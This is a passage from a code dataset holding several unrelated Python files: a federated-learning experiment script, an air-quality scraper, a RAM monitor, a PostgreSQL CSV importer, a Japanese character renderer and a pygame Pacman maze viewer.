parse.add_argument(\"--communication_rounds\", type=int, default=100)\n parse.add_argument(\"--local_epoch\", type=int, default=1)\n parse.add_argument(\"--batch_size\", type=int, default=128)\n parse.add_argument(\"--use_server\", type=int, default=1)\n parse.add_argument(\"--re_stdout\", type=int, default=0)\n parse.add_argument(\"--lamda\", type=int, default=15, help=\"Regularization term\")\n parse.add_argument(\"--personal_learning_rate\", type=float, default=0.01,\n help=\"Persionalized learning rate to caculate theta aproximately using K steps\")\n parse.add_argument(\"--K\", type=int, default=2, help=\"Computation steps\")\n parse.add_argument(\"--beta\", type=float, default=1.0,\n help=\"Average moving parameter for pFedMe, or Second learning rate of Per-FedAvg\")\n parse.add_argument(\"--learning_rate\", type=float, default=0.01, help=\"Local learning rate\")\n parse.add_argument(\"--seed\", type=int, default=50, help=\"random seed\")\n # \n args = parse.parse_args()\n if args.re_stdout == 0:\n re_stdout = False\n else:\n re_stdout = True\n cur_arguments = ExpermentPara(mode=args.mode,\n client_num=args.client_num,\n class_num_for_client=args.class_num_for_client,\n dataset_name=args.dataset_name,\n model_name=args.model_name,\n communication_rounds=args.communication_rounds,\n local_epoch=args.local_epoch,\n batch_size=args.batch_size,\n use_server=(args.use_server == 1),\n lamda=args.lamda,\n personal_learning_rate=args.personal_learning_rate,\n K=args.K,\n beta=args.beta,\n learning_rate=args.learning_rate,\n seed=args.seed)\n current_time = time.localtime(time.time())\n time_stamp = (\n \"2021-{}-{}-{}-{}-Release-pFedMe\".format(current_time[1], current_time[2], current_time[3],\n current_time[4]))\n\n if cur_arguments.dataset_name == \"MNIST\":\n import config.mnist_config as config\n elif cur_arguments.dataset_name == \"CIFAR10\":\n import config.cifar10_config as config\n elif cur_arguments.dataset_name == \"CIFAR100\":\n import config.cifar100_config as config\n elif cur_arguments.dataset_name == \"EMNIST\":\n import config.emnist_config as config\n else:\n print(\"current dataset name:{} is not right\".format(cur_arguments.dataset_name))\n sys.exit(1)\n\n arguments_str = cur_arguments.get_str_rep()\n arguments_str = arguments_str + time_stamp\n logger = Logger(log_root_dir=config.LOG_DIR,\n experment_name=arguments_str,\n arguements=cur_arguments)\n if re_stdout:\n file_path = logger.run_log_file\n file = open(file_path, 'w+')\n sys.stdout = file # \n # print(\"stra\")\n print(\"start experment----> para is:\", flush=True)\n print(arguments_str)\n\n from torchvision import transforms\n from transform import Transpose # Transpose op for EMNIST\n\n #set random seed\n # SEED = 50\n torch.manual_seed(cur_arguments.seed)\n torch.cuda.manual_seed(cur_arguments.seed)\n np.random.seed(cur_arguments.seed)\n print(\"cur_arguments.seed\",cur_arguments.seed)\n\n # create workers\n machine_list = []\n for i in range(cur_arguments.client_num):\n machine_list.append(str(i))\n\n # create dataset\n train_transform,test_transform = get_dataset_transform(cur_arguments)\n\n current_dataset = load_org_dataset(config.DATASET_NAME,\n config.DATA_ROOT)\n print(\"load original dataset finished!,the dataset shape is {}\".format(np.array(current_dataset.data).shape))\n\n # create federate train and test dataset\n train_federate_dataset, test_federate_dataset, client2index_list = \\\n data_federate(current_dataset, machine_list,\n distribution_mode=cur_arguments.mode,\n class_num_client=cur_arguments.class_num_for_client,\n dataset_name=cur_arguments.dataset_name)\n\n # save current dataset assign for each client\n logger.save_client_data_index(client2index_list)\n # logger.load_client_data_index()\n\n model = get_init_model(cur_arguments) # \n\n # create client\n client_list = []\n for client_index, client_id in enumerate(machine_list):\n cur_model = copy.deepcopy(model)\n cur_model.to(device)\n cur_train_dataset = train_federate_dataset[client_index]\n cur_test_dataset = test_federate_dataset[client_index]\n cur_train_dataset.set_transform(transform=train_transform)\n cur_test_dataset.set_transform(transform=test_transform)\n cur_train_dataset.set_transform_flag(True)\n cur_test_dataset.set_transform_flag(True)\n cur_client = Client(model=cur_model,\n train_dataset=cur_train_dataset,\n test_dataset=cur_test_dataset,\n worker_id=client_id)\n client_list.append(cur_client)\n model.to(device)\n\n # \n aggregation_module = AggregationModule(cur_arguments)\n\n for epoch in range(1, cur_arguments.communication_round + 1):\n print(\"------\" * 11)\n start = time.time()\n # return client_list:\n client_list = federate_train_v1(client_list, cur_arguments, epoch, aggregation_module=aggregation_module)\n end = time.time()\n train_time = end - start\n start = time.time()\n # print(epoch, \":finish_one_round:\", 20 * '*', \"result on train dataset\")\n # federate_test(all_model_dict, new_federate_train_dataloader1, epoch, cur_arguments)\n print(epoch, \":finish_one_round:\", 20 * '*', \"result on test dataset using global model\")\n federate_test_v1(client_list, epoch)\n end = time.time()\n test_time = end - start\n\n start = time.time()\n # save model checkpoint\n if epoch % 10 == 0:\n for index, cur_client in enumerate(client_list):\n current_model_local = cur_client.get_model()\n logger.save_client_model(current_model_local, index, \"round_\" + str(epoch))\n end = time.time()\n routine_time = end - start\n print(\"Time cost is Train time:{:.6f},Test time:{:.6f},Routine time:{:.6f}\".format(train_time, test_time,\n routine_time))\n sys.stdout.flush()\n if re_stdout:\n sys.stdout = savedStdout # \n file.close()\n","sub_path":"SPFL/experiment_pFedMe.py","file_name":"experiment_pFedMe.py","file_ext":"py","file_size_in_byte":12530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124966626","text":"import download2 as dl\nfrom bs4 import BeautifulSoup\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\npage = dl.download('http://www.pm25.com/rank.html',user_agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')\n#print(page)\nsoup = BeautifulSoup(page,'html.parser')\nair_info = soup.find(attrs={'class':'pj_area_data_details rrank_box'})\nall_province = air_info.find_all('li')\ndf = pd.DataFrame()\ntmp2 = []\nfor province in all_province:\n tmp1 = []\n for item in province.find_all('span'):\n tmp1.append(item.text)\n tmp1.append(province.find('a').text)\n tmp2.append(tmp1)\ndf = pd.DataFrame(tmp2,columns=['index','descrb','province','air_q','pm2.5','city'])\n#print(df)\n\nfor i in range(len(df)):\n df.loc[i][3] = int(df.loc[i][3])\n df.loc[i][4] = int(df.loc[i][4][:-5])\n\ndic = dict()\nprov_group = df.groupby('province')\nfor name,group in prov_group:\n #print(name,':',np.mean(group['air_q']))\n dic[name] = np.mean(group['air_q'])\n\nprint(dic)\nprint(sorted(dic.items(),key = lambda item:item[1]))\nplt.bar(np.arange(len(dic)),list(dic.values()))\n#plt.plot(list(dic.values()),'*')\nplt.xticks(np.arange(len(dic)),dic.keys())\nplt.show()","sub_path":"air_quality.py","file_name":"air_quality.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590873011","text":"#!/usr/bin/python3\n\n#DEPENDENCIES: free\n\nimport argparse\nimport re\nimport subprocess\nimport sys\n\ndef script_action(script):\n \"\"\"\n Run specified script.\n \"\"\"\n subprocess.run(script.split(\" \"))\n\ndef print_output(actual_value,threshold,free_out,importance,type,script):\n \"\"\"\n Prints output to stdout when threshold is reached.\n\n Keyword arguments:\n actual_value -- current free ram\n threshold -- defined free ram threshold\n free_out -- output of command line utility free\n importance -- given script importance\n type -- unit %/MB\n script -- script to be executed when threshol is reached\n \"\"\"\n if actual_value <= threshold:\n ret_str = importance + \"\\n\"\n ret_str = ret_str + \"THRESHOLD FREE RAM: \" + str(threshold) + type +\"\\n\"\n ret_str = ret_str + \"CURRENT FREE RAM: \" + str(actual_value) + type +\"\\n\"\n ret_str = ret_str + free_out + \"\\n\"\n if script is not None:\n script_action(script)\n else :\n ret_str = \"\"\n return ret_str\n\ndef main():\n version = 1.0\n parser = argparse.ArgumentParser(prog=\"ram_free_mon.py\", description=\"Monitoring free ram utilization on machine\",formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"-v\",\"--version\",action=\"version\", version=\"%(prog)s\"+\" \"+str(version))\n parser.add_argument(\"-i\",\"--importance\",help=\"defines priority tag in notification message\",default=\"info\",choices=[\"info\",\"warning\",\"error\",\"critical\"])\n parser.add_argument(\"-e\",\"--execute\",help=\"run specified script after threshold value or error found\",action=\"store\",type=str)\n unit_type = parser.add_mutually_exclusive_group(required=True)\n unit_type.add_argument(\"-p\",\"--percentage\",help=\"threshold free ram in percentage\",action=\"store\",type=int)\n unit_type.add_argument(\"-m\",\"--megabytes\",help=\"threshold free ram in megabytes\",action=\"store\",type=int)\n\n args = parser.parse_args()\n\n free_out = subprocess.run([\"free\",\"-m\"], stdout=subprocess.PIPE)\n free_out = free_out.stdout.decode(\"utf-8\")\n total = re.search(\"(.*?) +(\\d+) +(\\d+) +(\\d+) +(\\d+) +(\\d+)\",free_out.split(\"\\n\",3)[1]).group(2)\n free = re.search(\"(.*?) +(\\d+) +(\\d+) +(\\d+) +(\\d+) +(\\d+)\",free_out.split(\"\\n\",3)[1]).group(4)\n buff = re.search(\"(.*?) +(\\d+) +(\\d+) +(\\d+) +(\\d+) +(\\d+)\",free_out.split(\"\\n\",3)[1]).group(6)\n percentage = (int(free)+int(buff))/int(total)*100\n mibibytes = int(buff)+int(free)\n \n if args.percentage is not None:\n ret_str = print_output(percentage,args.percentage,free_out,args.importance,\"%\",args.execute)\n else:\n ret_str = print_output(mibibytes,args.megabytes/1.0486,free_out,args.importance,\" MiB\",args.execute)\n print(ret_str)\n\nif __name__ == '__main__':\n try:\n main()\n except Exception as e:\n print(e)\n","sub_path":"src/monitoring_scripts/ram_free_mon.py","file_name":"ram_free_mon.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149912089","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# importNHME.py\n\n\n\nimport sys, os, re, types, configparser, optparse, json, csv\nimport psycopg2\nimport logging\nimport logging.handlers\n\nfrom collections import defaultdict\nfrom optparse import OptionParser\nfrom datetime import datetime, tzinfo, timedelta\nfrom time import strptime\nfrom psycopg2 import extras\nimport time\n\nNAME = \"importNHME\"\nCONFIGFILE = \"insecta_NHM.cnf\"\nlogger = logging.getLogger('Insecta.mergeCOLtables')\ntesting = False\nverbose = False\n\ndef error(s):\n \"\"\"output an error and take an early bath.\"\"\"\n print(\"%s: %s\" % (NAME, s),file=sys.stderr)\n if (logger):\n logger.error('%s: %s' % (NAME, s))\n sys.exit(1)\n\ndef getconfigstring(config, section, key):\n \"\"\"helper function to let us include error trapping\"\"\"\n errorMessage = \"Error: \"\n keyvalue = \"\"\n try:\n keyvalue = config.get(section, key)\n except configparser.NoSectionError:\n error(\"Error: Unable to find section %s.\" % (section))\n except configparser.NoOptionError:\n error(\"Error: Unable to find option %s.\" % (key))\n\n return keyvalue\n\ndef getconfigint(config, section, key):\n \"\"\"helper function to let us include error trapping\"\"\"\n errorMessage = \"Error: \"\n try:\n keyvalue = config.getint(section, key)\n except configparser.NoSectionError:\n error(\"Error: Unable to find section %s.\" % (section))\n except configparser.NoOptionError:\n error(\"Error: Unable to find option %s.\" % (key))\n\n return keyvalue\n\ndef getboolean(config, section, key):\n try:\n keyvalue = config.getboolean(section, key)\n except configparser.NoSectionError:\n error(\"Error: Unable to find section %s.\" % (section))\n except configparser.NoOptionError:\n error(\"Error: Unable to find option %s.\" % (key))\n\n return keyvalue\n\ndef putconfigstring(config, section, key):\n \"\"\"helper function to write a section key\"\"\"\n try:\n config.set(section, key)\n except configparser.NoSectionError:\n error(\"Error: Unable to find section %s.\" % (section))\n\ndef updateConfig(config, ProcUpToDateTime):\n config.set('Log', 'PrevProcDateTime', ProcUpToDateTime.isoformat())\n configfile = open(CONFIGFILE, 'wb')\n config.write(configfile)\n\ndef incSecond(currentDate):\n \"\"\" increment the currentDate by 1 second and return \"\"\"\n delta = timedelta(seconds=1)\n return currentDate + delta\n\ndef quote(sourceString):\n \"\"\" wrap the sourceString in quotes\n \"\"\"\n return \"'\"+sourceString+\"'\"\n \ndef doublequote(sourceString):\n \"\"\" wrap the sourceString in quotes\n \"\"\"\n return '\"'+sourceString+'\"' \n\ndef makeValue(inList):\n \"\"\" return the first string in the list or \"\" if its empty\n \"\"\"\n if inList[0] == None:\n return \"\"\n else :\n return inList[0]\ndef makeBoolValue(inList):\n \"\"\" return True or False depending if inList exists at all\n \"\"\"\n if not inList:\n return False\n else:\n return True\n\ndef rowString(row):\n valueString = \"\"\n for k, value in row.items():\n try:\n valueString += value+\",\"\n except:\n error(\"Failed on\"+value)\n return(valueString)\n\n\nclass TZ(tzinfo):\n \"\"\" Fixup the datetime for isoformat to show the TZ correctly\n ie: 2010-02-09T18:49:14+00:00\n instead of 2010-02-09T18:49:35.271000\n Stolen openly from http://blog.hokkertjies.nl/2008/03/24/isoformat-in-python-24/ \"\"\"\n def utcoffset(self, dt): return timedelta(seconds=time.timezone)\n def dst(self, dt): return timedelta(0)\n\n\ndef main():\n \"\"\"\n Import the Etymology CSV file, handling JSON and any odd strings\n \"\"\"\n usage = \"usage: %prog -f/--file file\"\n csvFile = \"\"\n csv.register_dialect('NHM', delimiter=\",\", quotechar=\"'\" )\n tableName = \"\"\n createTable = False\n \n\n parser = OptionParser(usage)\n parser.add_option(\"-p\", \"--pattern\", dest=\"pattern\",\n help=\"pattern of import tables to process\")\n parser.add_option(\"-f\",\"--file\", dest=\"csvFile\",\n help=\"file to import.\")\n parser.add_option(\"-t\",\"--table\", dest=\"tableName\",\n help=\"table to import into.\")\n parser.add_option(\"-c\",\"--create\", action = 'store_true', default = False, dest=\"createTable\",\n help=\"Create the table to import into.\")\n \n\n (options, args) = parser.parse_args()\n stripTags = re.compile(r'<[^<]*?>')\n stripBadChar = re.compile(r'\\x19')\n config = configparser.ConfigParser()\n config.read(CONFIGFILE)\n\n verbose = getboolean(config, 'Configure', 'verbose')\n testing = getboolean(config, 'Configure', 'testing')\n logfilename = getconfigstring(config, 'Log', 'logfilename')\n\n print(\"csvFile = \"+options.csvFile)\n\n if verbose == True:\n logger.setLevel(logging.INFO)\n elif testing == True:\n logger.setLevel(logging.DEBUG)\n else:\n logger.setLevel(logging.INFO)\n\n loghandler = logging.FileHandler(logfilename)\n logger.addHandler(loghandler)\n\n\n\n if testing:\n logger.info('Test Run')\n\n PrevProcDateTime = getconfigstring(config, 'Log', 'PrevProcDateTime')\n db = getconfigstring(config,'Database', 'host')\n dbport = getconfigstring(config,'Database', 'port')\n dbname = getconfigstring(config,'Database', 'name')\n dbuser = getconfigstring(config,'Database', 'user')\n dbpassword = getconfigstring(config,'Database', 'password')\n\n#\n# Process\n#\n dbConnectionString = \"host=\"+quote(db)+\" port=\"+quote(dbport)+\" dbname=\"+quote(dbname)+\" user=\"+quote(dbuser)+\" password=\"+quote(dbpassword)\n if testing:\n logger.debug('Connection string '+dbConnectionString)\n \n try:\n dbConn = psycopg2.connect(dbConnectionString)\n except psycopg2.OperationalError as e:\n error(e)\n else:\n print(dbname,\"connected.\")\n dbCursor = dbConn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n \n# open the csv file\n\n with open(options.csvFile) as csvfile:\n NHMReader = csv.reader(csvfile, 'NHM')\n fieldList = \"\"\n allFields = next(NHMReader)\n for field in allFields:\n fieldList += doublequote(field)+\",\"\n fieldList = fieldList.rstrip(',')\n insertStringbase = \"\"\"INSERT INTO \"NHM_Occurrence\" (\"\"\"+fieldList+\") VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n print(insertStringbase)\n for row in NHMReader:\n# replace all empty fields with None\n row = [None if cell == '' else cell for cell in row] \n if testing == False:\n try:\n if verbose:\n print(row[0],\"Fields = \", len(row))\n dbCursor.execute(insertStringbase,tuple(row))\n except psycopg2.OperationalError as e:\n error(e)\n \n except TypeError as e:\n print(row)\n error(e)\n else:\n print(\"Would Insert using \")\n print(*row,sep=',')\n \n if testing == False:\n try:\n dbConn.commit()\n except psycopg2.OperationalError as e:\n error(e)\n\n\n dbConn.close()\n print(\"Merge of tables complete.\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"backend/services/importNHME.py","file_name":"importNHME.py","file_ext":"py","file_size_in_byte":7405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"254471678","text":"import glob\nimport PIL\nfrom PIL import ImageEnhance, Image, ImageFont, ImageDraw\nimport os\nfrom tqdm import tqdm\nimport numpy as np\nfrom torchvision import transforms\nfrom torch import nn\n\nfrom fontTools.ttLib import TTFont\nfrom itertools import chain\nfrom fontTools.unicode import Unicode\nfrom collections import defaultdict\n\n\ndef draw_single_char(ch, font, canvas_size, x_offset=0, y_offset=0):\n img = Image.new(\"L\", (canvas_size * 2, canvas_size * 2), 0)\n draw = ImageDraw.Draw(img)\n try:\n draw.text((10, 10), ch, 255, font=font)\n except OSError:\n return None\n bbox = img.getbbox()\n if bbox is None:\n return None\n l, u, r, d = bbox\n l = max(0, l - 5)\n u = max(0, u - 5)\n r = min(canvas_size * 2 - 1, r + 5)\n d = min(canvas_size * 2 - 1, d + 5)\n if l >= r or u >= d:\n return None\n img = np.array(img)\n img = img[u:d, l:r]\n img = 255 - img\n img = Image.fromarray(img)\n width, height = img.size\n try:\n img = transforms.ToTensor()(img)\n except SystemError:\n return None\n img = img.unsqueeze(0) \n pad_len = int(abs(width - height) / 2) \n if width > height:\n fill_area = (0, 0, pad_len, pad_len)\n else:\n fill_area = (pad_len, pad_len, 0, 0)\n fill_value = 1\n img = nn.ConstantPad2d(fill_area, fill_value)(img)\n img = img.squeeze(0)\n img = transforms.ToPILImage()(img)\n img = img.resize((canvas_size, canvas_size), Image.ANTIALIAS)\n return img\n\n\ndef jp_unicode_decimals():\n\n kanji = list(range(int(0x4e00), int(0x9faf)+1))\n punc = list(range(int(0x3000), int(0x303f)+1))\n hiragana = list(range(int(0x3040), int(0x309f)+1))\n katakana = list(range(int(0x30a0), int(0x30ff)+1))\n\n unicode_dec = sum([kanji, punc, hiragana, katakana], [])\n\n return unicode_dec\n\n\ndef get_unicode_coverage_from_ttf(ttf_path):\n with TTFont(ttf_path, 0, allowVID=0, ignoreDecompileErrors=True, fontNumber=-1) as ttf:\n chars = chain.from_iterable([y + (Unicode[y[0]],) for y in x.cmap.items()] for x in ttf[\"cmap\"].tables)\n chars_dec = [x[0] for x in chars]\n return chars_dec, [chr(x) for x in chars_dec]\n\n\ndef filter_recurring_hash(charset, font, canvas_size):\n _charset = charset.copy()\n np.random.shuffle(_charset)\n sample = _charset[:2000]\n hash_count = defaultdict(int)\n for c in sample:\n img = draw_single_char(c, font, canvas_size)\n if img is not None:\n hash_count[hash(img.tobytes())] += 1\n recurring_hashes = filter(lambda d: d[1] > 2, hash_count.items())\n return [rh[0] for rh in recurring_hashes]\n\n\nif __name__ == '__main__':\n\n font_paths = (\n '/mnt/data01/otf/NotoSerifCJKjp-Regular.otf',\n '/mnt/data01/ttf/HinaMincho-Regular.ttf',\n '/mnt/data01/ttf/NewTegomin-Regular.ttf',\n )\n save_path = '/mnt/data01/rendered_chars/joyo_chars_many_renders'\n os.makedirs(save_path, exist_ok=True)\n\n uni_dec = jp_unicode_decimals()\n # with open(\"/mnt/data01/charsets/joyo_kanji.txt\") as f:\n # uni_dec = [ord(c) for c in f.read().split()]\n\n idx = 0\n for font_path in font_paths:\n\n digital_font = ImageFont.truetype(font_path, size=256)\n _, covered_chars = get_unicode_coverage_from_ttf(font_path)\n covered_chars_kanji_plus = list(set([c for c in covered_chars if ord(c) in uni_dec]))\n\n filter_hashes = set(filter_recurring_hash(covered_chars_kanji_plus, digital_font, 256))\n print(\"filter hashes -> %s\" % (\",\".join([str(h) for h in filter_hashes])))\n\n for c in tqdm(covered_chars_kanji_plus, total=len(covered_chars_kanji_plus)):\n render_char = draw_single_char(c, digital_font, 256)\n if render_char is None:\n continue\n render_hash = hash(render_char.tobytes())\n if render_hash in filter_hashes:\n continue\n render_char.resize((64,64)).save(os.path.join(save_path, f'{c}_{idx}.png'))\n idx += 1","sub_path":"scripts/ocr_jp_char_rendering.py","file_name":"ocr_jp_char_rendering.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"32585727","text":"\n# coding: utf-8\n\n# ### Python Week 3-day challenge\n# #### Group 23\n# #### Students: Anh Tu NGUYEN - Joseph MERHEB - Sita SHRESTHA\n\n# In[1]:\n\n\n# Cell Dimensions\nCELL_WIDTH = 40\nCELL_HEIGHT = 40\n\n# Waiting time at the end\nWAITING_TIME = 3000\n\n# Pacman speed. Fames/second\nPACMAN_SPEED = 5\n\n# Constants\nCELL = '0'\nWALL = '1'\nSTART = 's'\nEND = 'e'\nYELLOW_KEY = 'a'\nYELLOW_DOOR = 'b'\nGREEN_DOOR = 'c'\nGREEN_KEY = 'd'\nRED_KEY = 'f'\nRED_DOOR = 'g'\nBLUE_KEY = 'h'\nBLUE_DOOR = 'i'\nGHOST_RANGE = 'x'\n\n\n# In[2]:\n\n\nimport pygame\nimport sys\nimport copy\nfrom reader import *\nfrom runner import *\n\n# Main Class to run the game in UI mode \nclass Launcher:\n def __init__(self, input_file):\n # Initiate instance of Reader class\n reader = Reader()\n maze_to_display = reader.read_file(input_file)\n maze_to_run = copy.deepcopy(maze_to_display)\n # Initiate instance of Runner class\n runner = Runner(maze_to_run)\n final_tuple = runner.run()\n\n # Run UI\n self.display_ui(maze_to_display, final_tuple)\n\n\n\n # Display the UI following the given maze and path\n def display_ui(self, maze, final_tuple):\n # The starting point in the final path\n ft_index = 0\n current_x = final_tuple[ft_index][0]\n current_y = final_tuple[ft_index][1]\n\n # Initialize pygame\n pygame.init()\n \n \n # Set the height and width of the screen\n maze_width = CELL_WIDTH * len(maze[0])\n maze_height = CELL_HEIGHT * len(maze)\n grid_size = [maze_width, maze_height]\n screen = pygame.display.set_mode(grid_size)\n\n # Set title of screen\n pygame.display.set_caption(\"Pacmaze v0.0.1\")\n \n # Loop until the user clicks the close button.\n done = False\n \n # Used to manage how fast the screen updates\n clock = pygame.time.Clock()\n\n # Define grid elements and resize to fit the cell dimensions\n # Wall\n BLOCK_IMG = pygame.image.load(\"resources/sprites/block.png\").convert()\n BLOCK_IMG = pygame.transform.scale(BLOCK_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Blue door\n BLUE_DOOR_IMG = pygame.image.load(\"resources/sprites/blue_door.png\").convert()\n BLUE_DOOR_IMG = pygame.transform.scale(BLUE_DOOR_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Blue key\n BLUE_KEY_IMG = pygame.image.load(\"resources/sprites/blue_key.png\").convert()\n BLUE_KEY_IMG = pygame.transform.scale(BLUE_KEY_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Ghost\n GHOST_IMG = pygame.image.load(\"resources/sprites/ghost.png\").convert()\n GHOST_IMG = pygame.transform.scale(GHOST_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Ghost pink cell\n GHOST_CELL_IMG = pygame.image.load(\"resources/sprites/pink_cell.png\").convert()\n GHOST_CELL_IMG = pygame.transform.scale(GHOST_CELL_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Green door\n GREEN_DOOR_IMG = pygame.image.load(\"resources/sprites/green_door.png\").convert()\n GREEN_DOOR_IMG = pygame.transform.scale(GREEN_DOOR_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Green key\n GREEN_KEY_IMG = pygame.image.load(\"resources/sprites/green_key.png\").convert()\n GREEN_KEY_IMG = pygame.transform.scale(GREEN_KEY_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Pacman: Start Point\n PACMAN_IMG = pygame.image.load(\"resources/sprites/pacman.png\").convert()\n PACMAN_IMG = pygame.transform.scale(PACMAN_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Path\n PATH_IMG = pygame.image.load(\"resources/sprites/path.png\").convert()\n PATH_IMG = pygame.transform.scale(PATH_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Red door\n RED_DOOR_IMG = pygame.image.load(\"resources/sprites/red_door.png\").convert()\n RED_DOOR_IMG = pygame.transform.scale(RED_DOOR_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Red key\n RED_KEY_IMG = pygame.image.load(\"resources/sprites/red_key.png\").convert()\n RED_KEY_IMG = pygame.transform.scale(RED_KEY_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Reward: end point\n REWARD_IMG = pygame.image.load(\"resources/sprites/reward.png\").convert()\n REWARD_IMG = pygame.transform.scale(REWARD_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Yellow door\n YELLOW_DOOR_IMG = pygame.image.load(\"resources/sprites/yellow_door.png\").convert()\n YELLOW_DOOR_IMG = pygame.transform.scale(YELLOW_DOOR_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Yellow key\n YELLOW_KEY_IMG = pygame.image.load(\"resources/sprites/yellow_key.png\").convert()\n YELLOW_KEY_IMG = pygame.transform.scale(YELLOW_KEY_IMG, (CELL_WIDTH, CELL_HEIGHT))\n\n # Keys and doors\n keys_list = [YELLOW_KEY, GREEN_KEY, RED_KEY, BLUE_KEY]\n owned_keys = []\n doors_keys = {YELLOW_DOOR:YELLOW_KEY, GREEN_DOOR:GREEN_KEY, RED_DOOR:RED_KEY, BLUE_DOOR:BLUE_KEY}\n \n # The main loop for which the pygame works\n while not done:\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Done: Exit loop\n \n # Draw the maze\n for row in range(len(maze)):\n for column in range(len(maze[0])): \n position_y = row * CELL_HEIGHT\n position_x = column * CELL_WIDTH\n\n # Draw maze elements\n # Path\n if maze[row][column] == CELL:\n screen.blit(PATH_IMG, (position_x, position_y))\n \n # Wall\n if maze[row][column] == WALL:\n screen.blit(BLOCK_IMG, (position_x, position_y))\n \n # Pacman: Remove from start point\n if maze[row][column] == maze[final_tuple[0][0]][final_tuple[0][1]]:\n screen.blit(PATH_IMG, (position_x, position_y))\n \n # Reward: End point\n if maze[row][column] == END:\n screen.blit(REWARD_IMG, (position_x, position_y))\n \n # Doors\n if maze[row][column] == YELLOW_DOOR:\n screen.blit(YELLOW_DOOR_IMG, (position_x, position_y))\n if maze[row][column] == GREEN_DOOR:\n screen.blit(GREEN_DOOR_IMG, (position_x, position_y))\n if maze[row][column] == RED_DOOR:\n screen.blit(RED_DOOR_IMG, (position_x, position_y))\n if maze[row][column] == BLUE_DOOR:\n screen.blit(BLUE_DOOR_IMG, (position_x, position_y))\n\n # Keys\n if maze[row][column] == YELLOW_KEY:\n screen.blit(YELLOW_KEY_IMG, (position_x, position_y))\n if maze[row][column] == GREEN_KEY:\n screen.blit(GREEN_KEY_IMG, (position_x, position_y))\n if maze[row][column] == RED_KEY:\n screen.blit(RED_KEY_IMG, (position_x, position_y))\n if maze[row][column] == BLUE_KEY:\n screen.blit(BLUE_KEY_IMG, (position_x, position_y))\n\n # Ghosts and their paths\n if maze[row][column].isdigit() and int(maze[row][column]) > 1:\n screen.blit(GHOST_IMG, (position_x, position_y))\n if maze[row][column] == GHOST_RANGE:\n screen.blit(GHOST_CELL_IMG, (position_x, position_y))\n\n \n # Animate Pacman\n if ft_index < len(final_tuple) - 1:\n ft_index+=1\n # rotate Pacman due to direction\n if (current_x < final_tuple[ft_index][0]):\n NEW_PACMAN_IMG = pygame.transform.rotate(PACMAN_IMG, 270)\n elif (current_x > final_tuple[ft_index][0]):\n NEW_PACMAN_IMG = pygame.transform.rotate(PACMAN_IMG, 90)\n elif (current_y > final_tuple[ft_index][1]):\n NEW_PACMAN_IMG = pygame.transform.flip(PACMAN_IMG, True, False)\n else:\n NEW_PACMAN_IMG = PACMAN_IMG\n current_x = final_tuple[ft_index][0]\n current_y = final_tuple[ft_index][1]\n pacman_y = current_x * CELL_WIDTH\n pacman_x = current_y * CELL_HEIGHT\n maze[row][column] == START\n screen.blit(NEW_PACMAN_IMG, (pacman_x, pacman_y))\n else:\n # Pause Time in milliseconds\n pygame.time.wait(WAITING_TIME)\n\n # Exit Game\n done = True\n\n \n # Track collisions\n # Collision with a key. Add key to the owned keys list\n if maze[current_x][current_y] in keys_list:\n key = maze[current_x][current_y]\n print(\"Found Key: \" + key)\n owned_keys.append(maze[current_x][current_y])\n maze[current_x][current_y] = '0'\n\n\n # Collision with door. Check if relevant key is in owned keys list\n if maze[current_x][current_y] in doors_keys:\n door = maze[current_x][current_y]\n key = doors_keys[door]\n print(\"Found Door: \" , door, \"Need Key:\" , key)\n if key in owned_keys:\n print(\"Already have the key. You can pass\")\n maze[current_x][current_y] = '0'\n owned_keys.remove(key)\n\n # Speed: Frames per second\n clock.tick(PACMAN_SPEED)\n \n \n # Update the screen\n pygame.display.flip()\n\n \n # Exit Game (KEEP THIS LINE HERE).\n pygame.quit()\n\n\n# In[3]:\n\n\ndef main():\n # Put file path while running\n filepath = \"\"\n if len (sys.argv) != 2:\n print('Please put the file name as argument. Ex: python search.py Maze1.txt')\n sys.exit (1)\n else:\n filepath = sys.argv[1]\n \n launcher = Launcher(filepath)\n \nif __name__ == \"__main__\":\n main()\n\n","sub_path":"code/launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":10231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603988480","text":"from celery import shared_task\nfrom PIL import Image\nfrom .models import Picture\nfrom io import BytesIO\nfrom django.core.files.base import 